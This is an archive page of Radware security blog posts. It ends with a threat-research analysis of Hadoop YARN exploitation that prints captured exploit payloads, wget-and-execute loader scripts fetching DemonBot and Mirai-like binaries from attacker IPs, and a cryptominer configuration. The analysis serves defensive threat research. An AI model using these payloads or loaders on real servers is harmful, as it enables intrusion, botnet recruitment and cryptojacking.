IoT Archives | Radware Blog

main

Cybersecurity as a Selling Point: Retailers Take Note

December 13, 2018 — by Jeff Curley — 0

UK-based retailers were no strangers to data breaches in 2018. In June, Dixons Carphone announced a breach of 5.9 million customer bank card details and 1.2 million personal data records, and the following month, Fortnum & Mason likewise warned customers that their data had been exposed. In fact, since GDPR took effect in May, more than 8,000 data breach reports have been filed in the UK. Each of these breaches involved a notification to the affected users which, combined with accompanying news coverage, is creating a cultural shift in cybersecurity awareness and redefining people’s online shopping habits.

The fact is, very few businesses have the luxury of occupying a unique position in the market without direct competition, and security can—and does—play a role in influencing consumer brand loyalty. Case in point: Following its 2015 hack, TalkTalk lost 100,000 customers.

Considering these dynamics, it is vital that consumer-facing companies view security and privacy not just as the thing that saves them from harm, but as a competitive advantage to be leveraged to drive trade at the loss of those that do not.

Security Standards Are Shifting

Currently, it is a mixed picture as to which organisations advertise their security acumen to their competitive advantage. Of the top five retailers in the UK, three have primary navigation links—named “Privacy Centre” or something similar—on their homepages directing users to their security standards. If I had to guess, I’d say all five top retailers will have a primary link to such a resource by the end of next year.

Online banking institutions appear to be the most acutely aware of security’s influence on customer decision making. This is a perhaps unsurprising, given that their security postures are scored by third party organisations such as Which?, across categories such as two-factor authentication login, encryption, safe navigation and logout.

Since the advent of GDPR—which sets out clear guidelines for companies with regard to how they should store data in their systems, how they should identify and report breaches, and more—we are seeing security positioned as a primary consideration in the build of new online services, so-called ‘data protection by design.’ We could not have conceived of this a new phenomenon prior to GDPR, and it will surely result in a fundamentally different online experience for consumers in the coming years.

The Role of AI in Managing Privacy

Security regulations aren’t the only new influence on managing consumer privacy. New technologies, like AI and IoT devices, are likewise impacting online retail experiences. While the top ten UK retailers don’t currently utilize chatbots or similar AI technology on their websites, chatbots are increasing in popularity among organisations that have complex or diverse product ranges (like H&M’s Virtual Assistant for clothing selection guidance).

As cutting-edge and “cool” as these are, the reality is that any form of online communications can become a vector for cybersecurity attacks. And the newer a technology is, the more likely it will become a focal point for hackers, since gaps tend to exist in technologies that have yet to establish a solid framework of controls. Just ask Delta Airlines and Sears, which suffered targeted attacks on their third-party chat support provider, exposing customer data and payment information.

One of the primary privacy exposures facing these types of online services is the frequency of change in web applications. Decisions on how and when to secure an application can be lost during interactions between developers and security professionals, particularly when code changes can be upwards of thousands per day. How do you reduce this risk? One way is via the application of machine learning to understand and patrol the “good” behavior of web application use, as opposed to chasing the ever-lengthening tail of “bad” behaviors and deploying access control lists.

The Way Forward

By pushing privacy to the forefront of customer experiences, online retailers can differentiate themselves from competitors. A recent Radware survey discovered just how security conscious UK consumers are: They are liable to abandon brand loyalty in exchange for a secure online shopping experience. Organisations would do well to invest in strong cybersecurity if they want to increase trust and attract new customers at key trading periods. Otherwise, retailers stand to lose their competitive advantage by encouraging customers to exercise their true power, their power to go elsewhere.

Read “Consumer Sentiments: Cybersecurity, Personal Data and The Impact on Customer Loyalty” to learn more.

Download Now

2018 In Review: Healthcare Under Attack

December 12, 2018 — by Daniel Smith — 0

Radware’s ERT and Threat Research Center monitored an immense number of events over the last year, giving us a chance to review and analyze attack patterns to gain further insight into today’s trends and changes in the attack landscape. Here are some insights into what we have observed over the last year.

Healthcare Under Attack

Over the last decade there has been a dramatic digital transformation within healthcare; more facilities are relying on electronic forms and online processes to help improve and streamline the patient experience. As a result, the medical industry has new responsibilities and priorities to ensure client data is kept secure and available–which unfortunately aren’t always kept up with.

This year, the healthcare industry dominated news with an ever-growing list of breaches and attacks. Aetna, CarePlus, Partners Healthcare, BJC Healthcare, St. Peter’s Surgery and Endoscopy Center, ATI Physical Therapy, Inogen, UnityPoint Health, Nuance Communication, LifeBridge Health, Aultman Health Foundation, Med Associates and more recently Nashville Metro Public Health, UMC Physicians, and LabCorp Diagnostics have all disclosed or settled major breaches.

Generally speaking, the risk of falling prey to data breaches is high, due to password sharing, outdated and unpatched software, or exposed and vulnerable servers. When you look at medical facilities in particular, other risks begin to appear, like those surrounding the number of hospital employees who have full or partial access to your health records during your stay there. The possibilities for a malicious insider or abuse of access is also very high, as is the risk of third party breaches. For example, it was recently disclosed that NHS patient records may have been exposed when passwords were stolen from Embrace Learning, a training business used by healthcare workers to learn about data protection.

Profiting From Medical Data

These recent cyber-attacks targeting the healthcare industry underscore the growing threat to hospitals, medical institutions and insurance companies around the world. So, what’s driving the trend? Profit. Personal data, specifically healthcare records, are in demand and quite valuable on today’s black market, often fetching more money per record than your financial records, and are a crucial part of today’s Fullz packages sold by cyber criminals.

Not only are criminals exfiltrating patient data and selling it for a profit, but others have opted to encrypt medical records with ransomware or hold the data hostage until their extortion demand is met. Often hospitals are quick to pay an extortionist because backups are non-existent, or it may take too long to restore services. Because of this, cyber-criminals have a focus on this industry.

Most of the attacks targeting the medical industry are ransomware attacks, often delivered via phishing campaigns. There have also been cases where ransomware and malware have been delivered via drive-by downloads and comprised third party vendors. We have also seen criminals use SQL injections to steal data from medical applications as well as flooding those networks with DDoS attacks. More recently, we have seen large scale scanning and exploitation of internet connected devices for the purpose of crypto mining, some of which have been located inside medical networks. In addition to causing outages and encrypting data, these attacks have resulted in canceling elective cases, diverting incoming patients and rescheduling surgeries.

For-profit hackers will target and launch a number of different attacks against medical networks designed to obtain and steal your personal information from vulnerable or exposed databases. They are looking for a complete or partial set of information such as name, date of birth, Social Security numbers, diagnosis or treatment information, Medicare or Medicaid identification number, medical record number, billing/claims information, health insurance information, disability code, birth or marriage certificate information, Employer Identification Number, driver’s license numbers, passport information, banking or financial account numbers, and usernames and passwords so they can resell that information for a profit.

Sometimes the data obtained by the criminal is incomplete, but that data can be leveraged as a stepping stone to gather additional information. Criminals can use partial information to create a spear-phishing kit designed to gain your trust by citing a piece of personal information as bait. And they’ll move very quickly once they gain access to PHI or payment information. Criminals will normally sell the information obtained, even if incomplete, in bulk or in packages on private forums to other criminals who have the ability to complete the Fullz package or quickly cash the accounts out. Stolen data will also find its way to public auctions and marketplaces on the dark net, where sellers try to get the highest price possible for data or gain attention and notoriety for the hack.

Don’t let healthcare data slip through the cracks; be prepared.

Read “Radware’s 2018 Web Application Security Report” to learn more.

Download Now

2019 Predictions: Will Cyber Serenity Soon Be a Thing of the Past?

November 29, 2018 — by Daniel Smith — 1

In 2018 the threat landscape evolved at a breakneck pace, from predominantly DDoS and ransom attacks (in 2016 and 2017, respectively), to automated attacks. We saw sensational attacks on APIs, the ability to leverage weaponized Artificial Intelligence, and growth in side-channel and proxy-based attacks.

And by the looks of it, 2019 will be an extension of the proverbial game of whack-a-mole, with categorical alterations to the current tactics, techniques and procedures (TTPs). While nobody knows exactly what the future holds, strong indicators today enable us to forecast trends in the coming year.

The public cloud will experience a massive security attack

The worldwide public cloud services market is projected to grow 17.3 percent in 2019 to total $206.2 billion, up from $175.8 billion in 2018, according to Gartner, Inc. This means organizations are rapidly shifting content to the cloud, and with that data shift comes new vulnerabilities and threats. While cloud adoption is touted as faster, better, and easier, security is often overlooked for performance and overall cost. Organizations trust and expect their cloud providers to adequately secure information for them, but perception is not always a reality when it comes to current cloud security, and 2019 will demonstrate this.

Ransom techniques will surge

Ransom, including ransomware and ransom RDoS, will give way to hijacking new embedded technologies, along with holding healthcare systems and smart cities hostage with the launch of 5G networks and devices. What does this look like? The prospects are distressing:

Hijacking the availability of a service—like stock trading, streaming video or music, or even 911—and demanding a ransom for the digital return of the devices or network.
Hijacking a device. Not only are smart home devices like thermostats and refrigerators susceptible to security lapses, but so are larger devices, like automobiles.
Healthcare ransom attacks pose a particularly terrifying threat. As healthcare is increasingly interwoven with cloud-based monitoring, services and IoT embedded devices responsible for administering health management (think prescriptions/urgent medications, health records, etc.) are vulnerable, putting those seeking medical care in jeopardy of having their healthcare devices that they a dependent on being targeted by malware or their devices supporting network being hijacked.

Nation state attacks will increase

As trade and other types of “soft-based’ power conflicts increase in number and severity, nation states and other groups will seek new ways of causing widespread disruption including Internet outages at the local or regional level, service outages, supply chain attacks and application blacklisting by government in attempted power grabs. Contractors and government organizations are likely to be targeted, and other industries will stand to lose millions of dollars as indirect victims if communications systems fail and trade grinds to a halt.

More destructive DDoS attacks are on the way

Over the past several years, we’ve witnessed the development and deployment of massive IoT-based botnets, such as Mirai, Brickerbot, Reaper and Haijme, whose systems are built around thousands of compromised IoT devices. Most of these weaponized botnets have been used in cyberattacks to knock out critical devices or services in a relatively straightforward manner.

Recently there has been a change in devices targeted by bot herders. Based on developments we are seeing in the wild, attackers are not only infiltrating resource-constrained IoT devices, they are also targeting powerful cloud-based servers. When targeted, only a handful of compromised instances are needed to create a serious threat. Since IoT malware is cross-compiled for many platforms, including x86_64, we expect to see attackers consistently altering and updating Mirai/Qbot scanners to include more cloud-based exploits going into 2019.

Cyber serenity may be a thing of the past

If the growth of the attack landscape continues to evolve into 2019 through various chaining attacks and alteration of the current TTP’s to include automated features, the best years of cybersecurity may be behind us. Let’s hope that 2019 will be the year we collectively begin to really share intelligence and aid one another in knowledge transfer; it’s critical in order to address the threat equation and come up with reasonable and achievable solutions that will abate the ominous signs before us all.

Until then, pay special attention to weaponized AI, large API attacks, proxy attacks and automated social engineering. As they target the hidden attack surface of automation, they will no doubt become very problematic moving forward.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

Download Now

The End of the Telephone

November 20, 2018 — by David Hobbs — 1

Telephones have come a long way in their short lives, evolving from a simple transmitter and receiver to today’s ubiquitous smartphones. But as technologies continue to consolidate and automation takes over, what are we going to do at the end of the telephone? And what are the security implications of that?

Imagine a world where phone numbers have no meaning, and we instead rely on a system resembling an Internet IP address that shifts according to location. Afterall, we’re increasingly using smartphone apps like WhatsApp, iMessage, FaceTime, Skype (and so many more!) to communicate. How often do we actually dial our friends and family to talk? Moreover, how many of us still even own landlines?!

The fact is, we, as a society, interact more and more via apps, and I predict that the end of POTS (Plain Old Telephone System) will come faster than you think. Even my ageing parents have disconnected their home phones and my 84-year-old father uses an iPhone!

So, with cybersecurity in mind, what does this new trend mean? Do we have ways to integrate our businesses into this new era? How do we keep our customers, friends and family connected, while keeping our data safe?

The reliance on chat apps is beneficial in that it helps avoid international call charges and allows us to be global citizens without boundaries imposed by phone companies. But it also opens us up to vulnerabilities, like potentially communicating and exchanging sensitive data with the wrong person(s). While two factor authentication—which is used, for example, when you log into a bank account from a public Internet device and the site confirms your identity via text or a call—works now, when phone numbers disappear, it won’t do any good.

This is where the future of innovation plays a critical role; we will need a new way to identify and connect with people beyond face recognition, fingerprints on an iPhone or a password generated by a system. For example, 5G networks allow for the design of software defined private networking and the ability to provide function virtualization. We should begin to see full security stack solutions at the endpoint of radio /5G /WiFi, without security having to live in the central office.

Look forward to the future where trust and identity are going to be better than some sort of robot speak of numbers and data on the screen.

Read “Radware’s 2018 Web Application Security Report” to learn more.

Download Now

Hadoop YARN: An Assessment of the Attack Surface and Its Exploits

November 15, 2018 — by Pascal Geenens — 1

Rate of Hadoop YARN exploits is slowing but still at a concerning 350,000 events per day
1065 servers are exposed and vulnerable
The geographic spread of vulnerable servers and the targets of the attacks is global and concentrated in regions with high cloud data center densities
Motivations behind the exploits range from planting Linux backdoors, infecting servers with IoT malware for scanning and DDoS, up to cryptomining campaigns
A Monero cryptomining campaign has been actively abusing exposed Hadoop YARN servers since April 2018 and mined for a total revenue of 566 XMR (about 60,000 USD) and is growing its revenues with an average of 2 XMR (212 USD) a day
In a window of less than 14 days, there was enough malware collected from Hadoop YARN exploit attempts to start a small zoo
Owners of Hadoop YARN servers should care, as they can fall victim to cryptomining abuse, causing loss of performance, instability and higher cloud utilization bills
Online businesses should care, too. They can be the target of DDoS attacks.
Consumers should care because they will not be able to shop during Cyber Monday if their favorite online shop falls victim to DDoS attacks

In my blog on DemonBot, I discussed how Hadoop YARN exploit attempts were ramping up. In the middle of October, our deception network recorded up to 1.5 million attempts per day. The good news is that the attempt rate steadily slowed down in the second half of last month—though unfortunately not to the point where we should pat ourselves on the back for exposing one of the many malicious campaigns that are taking advantage of exposed Hadoop YARN servers.

These last few days, the number of Hadoop Yarn exploit attempts slowed to an average of 350,000 attempts per day. That said, there is no sign of the threat going away any time soon and we should stay alert. In order to appreciate the risk and quantify the threat, I have been tracking Hadoop YARN campaigns and exploring the extent of the attack surface since my last blog. Understanding the potential for abuse and the types of threats that are emerging from the exposed servers allows one to better appreciate the risk.

The Attackers and their Victims

Between September and the first half of November, there have been more than 35 million exploit attempts registered by our deception network and over one-third of them originated from the US. Great Britain, Italy and Germany are the runners-up and, combined, they were good for more than half of the exploit attempts.

In absolute numbers, the U.S. generated nearly 12 million exploit attempts. Great Britain and Italy each were responsible for 6 million attempts, closely followed by Germany with 4.8 million attempts.

The exploit attempts were not specifically targeting a single region. The UK and Germany honeypots were hit twice as hard compared to the rest of the world. The average numbers for each region is between 1.6 and 3.2 million attempted exploits.

Hadoop YARN Attack Surface

To asses the attack surface, I performed a global scan for services listening on the Hadoop YARN port TCP/8088, taking care to exclude sensitive IP ranges as listed in Robert Graham’s masscan exclusion list. By November 8, the number of vulnerable Hadoop YARN servers exposed to the public was 1065. The vulnerable servers are scattered around the globe with higher concentrations in areas where the data center density is high.

Compare the above locations of vulnerable Hadoop YARN servers with the global data center map below:

The attack surface is global and limited to little over 1,000 servers, but it should not be ignored because of the high potential powerful big data servers typically provide for malicious agents.

Types of Abuse

Now that we have a good measure on the attack surface and the interest taken in it by malicious actors, it’s time to have a closer look at how these actors are attempting to take advantage of this situation.

The below graph shows different Hadoop YARN exploits recorded by our medium interaction honeypots over a period of 14 days. Each exploit payload contains a command sequence which is hashed into a unique fingerprint, allowing us to quantify and track campaigns over time. The exploit table in (*1) contains the details of each command sequence corresponding to the fingerprints in the graph.

The red bars in the command sequence graph above represent the attempted count per day from a new DemonBot campaign ‘YSDKOP,’ named after the names used for the malware binaries.

The two large peaks in different shades of blue represent multiple exploits related to a Hadoop YARN cryptomining campaign that has been running for at least 8 months now; first spotted in April 2018, it recently moved its download infrastructure to BitBucket.org. Guess it is more convenient to track different versions of cryptominer and its configuration files over time using Atlassian’s free and public service…

The other, shorter and less aggressive campaigns represented in the command sequence graph above were mostly infection attempts by Linux/IoT Botnets. Some that seemed worthy of a few words are discussed below.

The Bitbucket Crypto Miner

An ongoing Monero cryptomining campaign that has been known to actively abuse exposed Hadoop YARN servers since April of this year, mined a total of 566 XMR (about 60,000 USD) and is growing its revenue with an average rate of 2 XMR (212 USD) a day. The malicious agent or group is currently abusing three servers and maintains an average hash rate of 400kH/s over time.

Leveraging the Hadoop YARN vulnerability, a shell script is downloaded and executed from a public BitBucket account:

{“max-app-attempts”:2,”am-container-spec”:{“commands”:{“command”:”wget -q -O – https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | bash & disown”}},”application-id”:”application_1802197302061_0095″,”application-type”:”YARN”,”application-name”:”hadoop”}

The ‘zz.sh’ script, archived in (*2) for reference, performs some cleaning up on the server before ultimately downloading a binary called ‘x_64’ from the same repository.

The x_64 binary is XMRig, an open source, high-performance Monero CPU miner written in C++ (https://github.com/xmrig/xmrig).

 $ ./x_64 --version
XMRig 2.8.1
built on Oct 18 2018 with GCC 4.8.4
features: 64-bit AES
libuv/1.9.1

The configuration file for XMRig is ‘w.conf’ and downloaded from the same BitBucket repository:

{
    "algo": "cryptonight",
    "background": true,
    "colors": false,
    "retries": 5,
    "retry-pause": 5,
    "donate-level": 1,
    "syslog": false,
    "log-file": null,
    "print-time": 60,
    "av": 0,
    "safe": false,
    "max-cpu-usage": 95,
    "cpu-priority": 4,
    "threads": null,
    "pools": [
         {
            "url": "stratum+tcp://163.172.205.136:3333",
            "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
            "pass": "h",
            "keepalive": true,
            "nicehash": false,
            "variant": -1
        }
    ],
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null
    }
}

From the configuration file we find the pool wallet address:

46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

The wallet address matches that of operations reported in the Stackoverflow and HortonWorks communities by Hadoop admins in May of this year; thousands of cryptomining jobs were causing issues with the cluster.

In August, the 360 Threat Intelligence Center published a report on what they called the “8220 mining gang,” also mentioning the same wallet address. According to the researchers, the mining gang was/is suspected to be of Chinese origin.

The same address also matches the wallet address used in a sample Nanopool report link in the readme of another cryptomining open-source software hosted on Github and called ‘Cpuhunter’.

The Nanopool wallet account that has been in use since April 10 can be tracked through this link.

The total XMR payments resulting from this illegal mining operation were, as of November 12, 566 XMR or about 60,000 USD.

IOC
Binary: a1bd663986bae6b5cea19616c9507d09618eaddb71051ae826580a0b7e610ae5 x_64
Bitbucket repo: https://bitbucket.org/zrundr42/mygit/src/master/
Mining pool account: 46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

YSDKOP, DemonBot in Hiding

YSDKOP bots are delivered through a Hadoop YARN exploit using the following payload:

 User-Agent: [python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.3.5.el6.x86_64]
{"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/bins.sh -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex; rm -rf/tmp/flex"}}, "application-id": "application_1802197302061_0095", "application-type": "YARN", "application-name": "get-shell"}

The downloaded ‘bins.sh’ script downloads in its turn several binaries in a typical IoT loader kind of way:


$ cat bins.sh 
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mips; chmod +x YSDKOP.mips; ./YSDKOP.mips; rm -rf YSDKOP.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mpsl; chmod +x YSDKOP.mpsl; ./YSDKOP.mpsl; rm -rf YSDKOP.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sh4; chmod +x YSDKOP.sh4; ./YSDKOP.sh4; rm -rf YSDKOP.sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.x86; chmod +x YSDKOP.x86; ./YSDKOP.x86; rm -rf YSDKOP.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm6; chmod +x YSDKOP.arm6; ./YSDKOP.arm6; rm -rf YSDKOP.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i686; chmod +x YSDKOP.i686; ./YSDKOP.i686; rm -rf YSDKOP.i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc; chmod +x YSDKOP.ppc; ./YSDKOP.ppc; rm -rf YSDKOP.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i586; chmod +x YSDKOP.i586; ./YSDKOP.i586; rm -rf YSDKOP.i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.m68k; chmod +x YSDKOP.m68k; ./YSDKOP.m68k; rm -rf YSDKOP.m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sparc; chmod +x YSDKOP.sparc; ./YSDKOP.sparc; rm -rf YSDKOP.sparc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm4; chmod +x YSDKOP.arm4; ./YSDKOP.arm4; rm -rf YSDKOP.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm5; chmod +x YSDKOP.arm5; ./YSDKOP.arm5; rm -rf YSDKOP.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm7; chmod +x YSDKOP.arm7; ./YSDKOP.arm7; rm -rf YSDKOP.arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc440fp; chmod +x YSDKOP.ppc440fp; ./YSDKOP.ppc440fp; rm -rf YSDKOP.ppc440fp

The different binaries correspond to cross-compiled versions of the same source code for multiple platform architectures:

 $ file *
YSDKOP.arm4:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm5:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm6:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.arm7:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.i586:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.i686:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.m68k:  ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, not stripped
YSDKOP.mips:  ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.mpsl:  ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.ppc:   ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
YSDKOP.sh4:   ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
YSDKOP.sparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.x86:   ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

A quick glance over the strings of the i586 binary reveals the typical DemonBot markers:


$ strings YSDKOP.i586
…
185.244.25.153:420
8.8.8.8
/proc/net/route
        00000000
(null)
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ
/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID
/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93
/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
nwonknu
unknown
Hello
slammed
…
Sending TCP Packets To: %s:%d for %d seconds
STOP
[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

This is an unaltered DemonBot hiding behind a random name YSDKOP.

IOC
59719aa688954e7f4dd575173d7c9b5de6fd0d69d8c9ed8834d91a144e635e3b bins.sh
106dc7d4f44c1077b62c6d509ce471c79e27ffc7369d6418ddafed861c0f93be YSDKOP.arm4
dd62d3b51b194729f7270c590f647d08a1cbc6af8ecf0b92a98dc3e330fe304a YSDKOP.arm5
3fb0dd65608b93034e212ad85e660f6bc25a5df896410e0c6b9c411e56faac55 YSDKOP.arm6
74f8d9c9d91f87aa7f092efa6b12a4c9dfff492eb54f12d6e35e8bf3e96eacff YSDKOP.arm7
a36dff7844715c796de80f26b9dd4470de8cbc6c941499b6a94c048afd567316 YSDKOP.i586
7caed4bafe6c964c090d78f93e7eb7943bb19575532f19e70a87cfe2943d1621 YSDKOP.i686
dd8163a99b5cdd3e591213c64ad48e25d594f4b7ab9802cd7c60f3150a9e71f9 YSDKOP.m68k
67e85c8b24c3e382a1d83245d1c77f6b8b5f0b19be36fd8fb06f1cb42d07dad5 YSDKOP.mips
8b2407226356487558a26aba967befd48df53a5f53fd23b300f22b4dc9abe293 YSDKOP.mpsl
b94176a7448aa8ea0c961bc69371778828f3ab5665b14cc235f8413d8bf86386 YSDKOP.ppc
a96e07c8dc42eb05fa21069bb14391ee4241d1ccd9289c52cb273ffb7ecd3891 YSDKOP.sh4
43e445b0c644d52129c47154cd6bcdea7192d680cc3d2e8165b904c54ddd6fc2 YSDKOP.sparc
39f2b2c68362a347aad0942853d0262acec1e2f4174ba973b0c574f4567cb893 YSDKOP.x86

Supra, DemonBot-ng

Infecting through the Hadoop YARN exploit payload below:

 {"am-container-spec": {"commands": {"command": "cd /tmp; rm -rf *; wget http://80.211.59.125/n; sh n"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The downloaded script ‘n’ contains code to download two binaries, one 32bit x86 and one 64bit x86:

 $ cat n
#!/bin/sh
n="Supra.x86 Supra.x86_64"
http_server="80.211.59.125" 
dirs="/tmp/ /var/ /dev/shm/ /dev/ /var/run/ /var/tmp/"
 
for dir in $dirs
do
    >$dir.file && cd $dir
done 
 
for i in $n
do
    cp $SHELL $i
    >$i
    chmod 777 $i
    wget http://$http_server/$i -O $i
    chmod 777 $i
    ./$i
done

Looking at the strings of the downloaded ‘Supra.x86_64’ binary, we see a close match with those of DemonBot, as do the decorated names in the unstripped binary.

 $ strings Supra.x86_64
…
80.211.59.125:434
8.8.8.8
/proc/net/route
…
x86_64
Linux
/usr/bin/apt-get
Ubuntu/Debian
/usr/lib/portage
Gentoo
/usr/bin/yum
RHEL/CentOS
/usr/share/YaST2
OpenSUSE
/etc/dropbear/
OpenWRT
/etc/opkg
UNKNOWN
/etc/ssh/
Dropbear
/etc/xinet.d/telnet
Telnet
/usr/kerberos/bin/telnet
…
[1;37m[
[0;35mSupra
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
…
GCC: (GNU) 4.2.1   
…

Note the very similar string as previously discovered in the DemonBot source code, but this time with ‘Supra’ instead of ‘shelling’ in the first square brackets:

 [Supra]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

The new binary also contains indicators of an extension in the platform detection code. The original DemonBot checked for two platforms

Ubuntu/Debian, based on the existence of /usr/bin/apt-get, and
RHEL/Centos, based on the existence of /usr/bin/yum

Supra adds to the above two:
Gentoo:          /usr/lib/portage
OpenSUSE:    /usr/share/YaST2
OpenWRT:    /etc/dropbear
UNKNOWN: /etc/opkg
Dropbear:     /etc/ssh/
Telnet:           /etc/xinet.d/telnet

The compile version used for this DemonBot version is identical to the original DemonBot: GCC (GNU) 4.2.1.

Hoho, a Botnet by Greek.Helios

Hadoop YARN exploit payload:

 {"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://68.183.96.48/bins/hoho.x86 -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex servers"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The binaries first appeared on the server on Oct 30, 2018:

The hoho.x86 binary contains the literal string: Botnet Made By greek.Helios

The binary is packed with the UPX executable packer and matches mostly Mirai code.

IOC
7812fc4e894712845559193bd2b9cc88391b0a6691906124846cbaf73eb67b73 hoho.arm
622dd9dc905a14d881ce07227252f5086ba3b7afca88b913ece0bcfb4444b41b hoho.arm5
b9e0cce5412c1cb64f6e53493c8263f5e0d56e6e217ea4d94e401bf2da6d8c60 hoho.arm6
7050cb141e5eb0a8236639e0d9f2cc9bca63f2c3984b3ea8e30400984d24cfe6 hoho.arm7
4ce21713f20624ea5ba9eec606c53b7d9c38c2d72abf4043f509c81326bbdb1d hoho.m68k
485ecbe80f8f98b032af80cf32bb26d49e1071c75b25f6e306e37856f1446d38 hoho.mips
a599bf6697062d3358b848db40399feafd65931834acc9228f97dc27aa7fa4bb hoho.mpsl
456b31214698f894e8f4eb4aa01a34305c713df526fd33db74b58f440e59a863 hoho.ppc
e0a56e2ea529991933c38fc8159374c8821fdb57fe5622c2cf8b5ad7798bbc02 hoho.sh4
da53b60354c3565a9954cbaa0e1b6d7146d56890ee10cd0745b5787298db97a7 hoho.spc
9f4f93667e4892ca84a45981caafb4a39eabdc2f6c257f0dc2df04c73f1bf0a4 hoho.x86

prax0zma.ru

